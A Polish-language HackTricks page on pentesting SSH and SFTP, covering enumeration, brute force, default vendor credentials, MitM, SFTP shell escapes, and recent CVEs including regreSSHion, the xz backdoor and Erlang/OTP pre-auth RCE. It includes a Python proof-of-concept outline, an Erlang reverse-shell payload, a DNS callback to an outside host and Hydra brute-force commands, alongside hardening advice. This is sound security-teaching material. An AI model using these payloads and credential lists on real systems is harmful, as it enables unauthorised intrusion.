22 - Pentesting SSH/SFTP

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

SSH (Secure Shell or Secure Socket Shell) to protokół sieciowy, który umożliwia bezpieczne połączenie z komputerem przez niezabezpieczoną sieć. Jest niezbędny do zachowania poufności i integralności danych podczas uzyskiwania dostępu do systemów zdalnych.

Domyślny port: 22

22/tcp open  ssh     syn-ack

Serwery SSH:

  • openSSH – OpenBSD SSH, dołączany do BSD, dystrybucji Linux i Windows od Windows 10
  • Dropbear – implementacja SSH dla środowisk o ograniczonej pamięci i zasobach procesora, dołączana do OpenWrt
  • PuTTY – implementacja SSH dla Windows; klient jest powszechnie używany, użycie serwera jest rzadsze
  • CopSSH – implementacja OpenSSH dla Windows

Biblioteki SSH (implementujące stronę serwera):

  • libssh – wieloplatformowa biblioteka w C implementująca protokół SSHv2 z bindingami w Python, Perl i R; jest używana przez KDE do sftp oraz przez GitHub w infrastrukturze git SSH
  • wolfSSH – biblioteka serwera SSHv2 napisana w ANSI C, przeznaczona dla systemów embedded, RTOS i środowisk o ograniczonych zasobach
  • Apache MINA SSHD – Apache SSHD, biblioteka Java oparta na Apache MINA
  • paramiko – biblioteka protokołu SSHv2 dla Pythona

Enumeracja

nc -vn <IP> 22

Zautomatyzowany ssh-audit

ssh-audit to narzędzie do audytu konfiguracji serwera i klienta ssh.

https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/

Funkcje:

  • obsługa serwera protokołu SSH1 i SSH2;
  • analiza konfiguracji klienta SSH;
  • pobieranie banner, rozpoznawanie urządzenia lub oprogramowania i systemu operacyjnego, wykrywanie kompresji;
  • gromadzenie algorytmów key-exchange, host-key, encryption oraz message authentication code;
  • wyświetlanie informacji o algorytmach (dostępne od, usunięte/wyłączone, niebezpieczne/słabe/przestarzałe, itp);
  • wyświetlanie zaleceń dotyczących algorytmów (dodaj lub usuń na podstawie rozpoznanej wersji oprogramowania);
  • wyświetlanie informacji o bezpieczeństwie (powiązane problemy, przypisane CVE, itp);
  • analiza zgodności wersji SSH na podstawie informacji o algorytmach;
  • informacje historyczne z OpenSSH, Dropbear SSH i libssh;
  • działa na Linux i Windows;
  • brak zależności
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Publiczny klucz SSH serwera

ssh-keyscan -t rsa <IP> -p <PORT>

Słabe algorytmy szyfrujące

To jest wykrywane domyślnie przez nmap. Możesz też użyć sslcan lub sslyze.

Skrypty Nmap

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

W niektórych wersjach OpenSSH można przeprowadzić timing attack, aby zenumerować użytkowników. Można użyć metasploit module, aby to wykorzystać:

msf> use scanner/ssh/ssh_enumusers

Brute force

Kilka powszechnych poświadczeń ssh znajduje się here i here oraz poniżej.

Private Key Brute Force

Jeśli znasz jakieś prywatne klucze ssh, które mogłyby być użyte… spróbujmy. Możesz użyć skryptu nmap:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Lub MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

Albo użyj ssh-keybrute.py (natywny python3, lekki i ma włączone starsze algorytmy): snowdroppe/ssh-keybrute.

Znane badkeys można znaleźć tutaj:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Słabe klucze SSH / przewidywalny PRNG w Debianie

Niektóre systemy mają znane wady w ziarniu losowym używanym do generowania materiału kryptograficznego. Może to skutkować drastycznym zmniejszeniem przestrzeni kluczy, którą można bruteforced. Zestawy wcześniej wygenerowanych kluczy z systemów Debian dotkniętych słabym PRNG są dostępne tutaj: g0tmi1k/debian-ssh.

Powinieneś zajrzeć tutaj, aby wyszukać prawidłowe klucze dla maszyny ofiary.

Kerberos / GSSAPI SSO

Jeśli docelowy serwer SSH obsługuje GSSAPI (na przykład Windows OpenSSH na kontrolerze domeny), możesz uwierzytelnić się używając swojego Kerberos TGT zamiast hasła.

Przebieg z hosta atakującego Linux:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Uwagi:

  • Jeśli połączysz się z nieprawidłową nazwą (np. skrócona nazwa hosta, alias lub błędna kolejność w /etc/hosts), możesz otrzymać: “Server not found in Kerberos database” ponieważ SPN nie pasuje.
  • crackmapexec ssh --kerberos może również użyć twojego ccache do uwierzytelniania Kerberos.

Domyślne dane logowania

DostawcaNazwy użytkownikówHasła
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

Jeśli znajdujesz się w tej samej sieci lokalnej co ofiara, która ma się połączyć z serwerem SSH przy użyciu nazwy użytkownika i hasła, możesz spróbować przeprowadzić atak MitM, aby ukraść te poświadczenia:

Ścieżka ataku:

  • Traffic Redirection: Atakujący przekierowuje ruch ofiary na swoją maszynę, efektywnie przechwytując próbę połączenia do serwera SSH.
  • Interception and Logging: Maszyna atakującego działa jak proxy, rejestrując dane logowania użytkownika, udając legalny serwer SSH.
  • Command Execution and Relay: Na koniec serwer atakującego zapisuje poświadczenia użytkownika, przekazuje polecenia do prawdziwego serwera SSH, wykonuje je i odsyła wyniki do użytkownika, sprawiając, że proces wydaje się płynny i legalny.

SSH MITM robi dokładnie to, co opisano powyżej.

Aby wykonać rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofin lub innych opisanych w Network Spoofing attacks.

SSH-Snake

Jeżeli chcesz przemieszczać się po sieci używając odkrytych prywatnych kluczy SSH na systemach, wykorzystując każdy prywatny klucz na każdym systemie do łączenia się z nowymi hostami, to SSH-Snake jest tym, czego potrzebujesz.

SSH-Snake wykonuje automatycznie i rekurencyjnie następujące zadania:

  1. Na bieżącym systemie wyszukuje prywatne klucze SSH,
  2. Na bieżącym systemie wyszukuje hosty lub cele (user@host), na których prywatne klucze mogą być akceptowane,
  3. Próbuje wykonać SSH do wszystkich celów używając wszystkich znalezionych prywatnych kluczy,
  4. Jeśli połączenie z celem powiedzie się, powtarza kroki #1 - #4 na połączonym systemie.

Jest całkowicie samoreplikujące się i samopropagujące – oraz całkowicie bezplikowe.

Błędy konfiguracji

Logowanie root

Często serwery SSH domyślnie pozwalają na logowanie użytkownika root, co stanowi poważne zagrożenie dla bezpieczeństwa. Wyłączenie logowania root jest kluczowym krokiem w zabezpieczeniu serwera. Nieautoryzowany dostęp z uprawnieniami administracyjnymi oraz ataki brute force można złagodzić poprzez wprowadzenie tej zmiany.

Aby wyłączyć logowanie root w OpenSSH:

  1. Edytuj plik konfiguracyjny SSH za pomocą: sudoedit /etc/ssh/sshd_config
  2. Zmień ustawienie z #PermitRootLogin yes na PermitRootLogin no.
  3. Przeładuj konfigurację używając: sudo systemctl daemon-reload
  4. Zrestartuj serwer SSH aby zastosować zmiany: sudo systemctl restart sshd

SFTP Brute Force

Wykonywanie poleceń przez SFTP

W konfiguracjach SFTP często występuje przeoczenie: administratorzy zamierzają, aby użytkownicy wymieniali pliki bez włączonego dostępu do zdalnej powłoki. Pomimo ustawienia użytkowników z nieinteraktywnymi powłokami (np. /usr/bin/nologin) i ograniczenia ich do konkretnego katalogu, pozostaje luka bezpieczeństwa. Użytkownicy mogą obejść te ograniczenia żądając wykonania polecenia (np. /bin/bash) zaraz po zalogowaniu, zanim ich przypisana nieinteraktywna powłoka zacznie działać. Pozwala to na nieautoryzowane wykonanie poleceń i podważa zamierzone zabezpieczenia.

Example from here:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Oto przykład bezpiecznej konfiguracji SFTP (/etc/ssh/sshd_config – openSSH) dla użytkownika noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Ta konfiguracja pozwoli jedynie na SFTP: wyłącza shell access przez wymuszenie start command i zablokowanie TTY access, ale także uniemożliwia wszelkiego rodzaju port forwarding i tunneling.

SFTP Tunneling

Jeśli masz dostęp do serwera SFTP, możesz także tunnelować swój ruch przez niego, na przykład używając typowego port forwarding:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

W sftp jest polecenie “symlink”. Dlatego, jeśli masz prawa zapisu w jakimś folderze, możesz tworzyć symlinks z innych folderów/plików. Ponieważ prawdopodobnie jesteś uwięziony w chroot, to nie będzie to dla ciebie szczególnie użyteczne, ale jeśli możesz uzyskać dostęp do utworzonego symlink z no-chroot service (na przykład, jeśli możesz uzyskać dostęp do symlink z web), możesz otworzyć pliki wskazywane przez symlink przez web.

Na przykład, aby utworzyć symlink z nowego pliku froot” do “/:

sftp> symlink / froot

If you can access the file “froot” via web, you will be able to list the root (“/”) folder of the system.

Metody uwierzytelniania

W środowiskach o wysokim poziomie bezpieczeństwa powszechną praktyką jest włączenie wyłącznie uwierzytelniania opartego na kluczach lub uwierzytelniania dwuetapowego zamiast prostego uwierzytelniania opartego na haśle. Często jednak silniejsze metody uwierzytelniania są włączane bez wyłączania słabszych. Częstym przypadkiem jest włączenie publickey w konfiguracji openSSH i ustawienie go jako domyślnej metody, ale nie wyłączenie password. Dlatego używając trybu verbose klienta SSH, atakujący może zobaczyć, że słabsza metoda jest włączona:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Na przykład, jeśli ustawiony jest limit nieudanych prób uwierzytelnienia i nigdy nie masz okazji dotrzeć do metody password, możesz użyć opcji PreferredAuthentications, aby wymusić użycie tej metody.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Przegląd konfiguracji serwera SSH jest konieczny, aby sprawdzić, czy autoryzowane są tylko oczekiwane
metody. Użycie trybu verbose na kliencie może pomóc zobaczyć
skuteczność konfiguracji.

Pliki konfiguracyjne

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Najnowsze krytyczne podatności (2024)

CVE-2024-6387 – regreSSHion signal-handler race

OpenSSH 8.5p1–9.7p1 usunął async-safe logging guard wewnątrz handlera SIGALRM sshd, przywracając CVE-2006-5051 i umożliwiając nieautoryzowanym atakującym uszkodzenie sterty glibc zaraz po wygaśnięciu LoginGraceTime. Qualys zbronił ten błąd do root RCE na 32-bitowym Linuxie i zauważył, że cele 64-bitowe pozostają podatne na brute-force przy wystarczającej liczbie prób przygotowawczych, więc priorytetyzuj hosty, które nadal ujawniają te wersje podczas banner grabs.

Eksploatacja opiera się na timing’u: zalewaj daemon półotwartymi sesjami, które nigdy się nie uwierzytelniają, tak aby uprzywilejowany monitor wielokrotnie trafiał w podatną ścieżkę sygnału, podczas gdy kształtujesz stan alokatora.

Wskazówki dla operatorów:

  • Rozpoznaj buildy za pomocą ssh -V (remote banner) lub ssh -G <target> | grep ^userauths i potwierdź, że LoginGraceTime jest niezerowy.
  • Przetestuj odporność celu w labie, spamując krótkotrwałe sesje, które nie żądają uwierzytelnienia, na przykład:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
  • Hosty, które wymuszają LoginGraceTime 0 nigdy nie wchodzą w podatną ścieżkę kodu — spodziewaj się jedynie możliwości DoS przez wyczerpanie MaxStartups.

CVE-2024-3094 – xz/liblzma supply-chain backdoor

XZ Utils 5.6.0 i 5.6.1 zawierały trojanizowane release tarballe, których skrypty buildowe rozpakowują ukryty obiekt podczas pakowania Debian/RPM na x86-64 Linux. Payload nadużywa resolvera IFUNC glibc, aby zahaczyć RSA_public_decrypt w sshd (gdy łatki systemd wymuszają załadowanie liblzma) i akceptuje pakiety podpisane przez atakującego w celu wykonania kodu przed uwierzytelnieniem.

Ponieważ złośliwa logika znajduje się tylko w tych spakowanych binariach, ofensywna walidacja musi sprawdzić, co ofiara faktycznie zainstalowała: sprawdź xz --version, rpm -qi xz/dpkg -l xz-utils, porównaj hashe plików /usr/lib*/liblzma.so*, i sprawdź ldd /usr/sbin/sshd | grep -E "systemd|lzma", aby zobaczyć, czy sshd w ogóle ładuje skompromitowaną zależność. Hak pozostaje uśpiony chyba że ścieżka procesu to /usr/sbin/sshd, więc odtworzenie środowiska buildowego dystrybucji jest często wymagane, by zreprodukować backdoor w labie.

Authentication State-Machine Bypass (Pre-Auth RCE)

Several SSH server implementations contain logic flaws in the authentication finite-state machine that allow a client to send connection-protocol messages before authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to unauthenticated code execution or session creation.

Na poziomie protokołu każda wiadomość SSH z message code ≥ 80 (0x50) należy do warstwy connection (RFC 4254) i musi być przyjmowana dopiero po pomyślnym uwierzytelnieniu (RFC 4252). Jeśli serwer przetworzy jedną z tych wiadomości będąc nadal w stanie SSH_AUTHENTICATION, atakujący może natychmiast utworzyć kanał i zażądać akcji takich jak wykonanie polecenia, port-forwarding, dostęp do systemu plików itp.

Ogólne kroki eksploatacji

  1. Nawiąż połączenie TCP z portem SSH celu (zwykle 22, ale inne usługi mogą udostępniać Erlang/OTP na 2022, 830, 2222…).
  2. Sporządź surowy pakiet SSH:
  • 4-byte packet_length (big-endian)
  • 1-byte message_code ≥ 80 (e.g. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • Payload, który zostanie zrozumiany przez wybrany typ wiadomości
  1. Wyślij pakiet(y) przed ukończeniem jakiegokolwiek kroku uwierzytelniania.
  2. Interaguj z API serwera, które są teraz wystawione pre-auth (wykonanie polecenia, port forwarding, dostęp do systemu plików, …).

Zarys proof-of-concept w Pythonie:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

W praktyce będziesz musiał wykonać (lub pominąć) wymianę kluczy zgodnie z implementacją celu, ale no authentication nigdy nie jest wykonywane.


Erlang/OTP sshd (CVE-2025-32433)

  • Wersje podatne: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Przyczyna źródłowa: natywny daemon SSH Erlanga nie weryfikuje bieżącego stanu przed wywołaniem ssh_connection:handle_msg/2. W związku z tym każdy pakiet z kodem wiadomości 80-255 trafia do handlera połączenia, podczas gdy sesja nadal znajduje się w stanie userauth.
  • Wpływ: możliwość przeprowadzenia nieautoryzowanego zdalnego wykonania kodu (daemon zwykle działa jako root na urządzeniach embedded/OT).

Przykładowy payload, który uruchamia reverse shell powiązany z kanałem kontrolowanym przez atakującego:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection może być przeprowadzone przez DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Wykrywanie i przeciwdziałanie:

  • Monitoruj ruch SSH: odrzuć każdy pakiet z kodem wiadomości ≥ 80 zaobserwowany przed uwierzytelnieniem.
  • Zaktualizuj Erlang/OTP do 27.3.3 / 26.2.5.11 / 25.3.2.20 lub nowszej.
  • Ogranicz wystawienie portów zarządzania (22/2022/830/2222) — szczególnie na sprzęcie OT.

Inne dotknięte implementacje

  • libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – akceptuje nieuwierzytelniony SSH_MSG_USERAUTH_SUCCESS wysłany przez klienta, będący w praktyce odwrotną wadą logiczną.

Wspólna nauczka jest taka, że każde odejście od przejść stanów narzuconych przez RFC może być fatalne; podczas przeglądania lub fuzzowania demonów SSH zwróć szczególną uwagę na egzekwowanie maszyny stanów.

Źródła

Automatyczne polecenia HackTricks

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks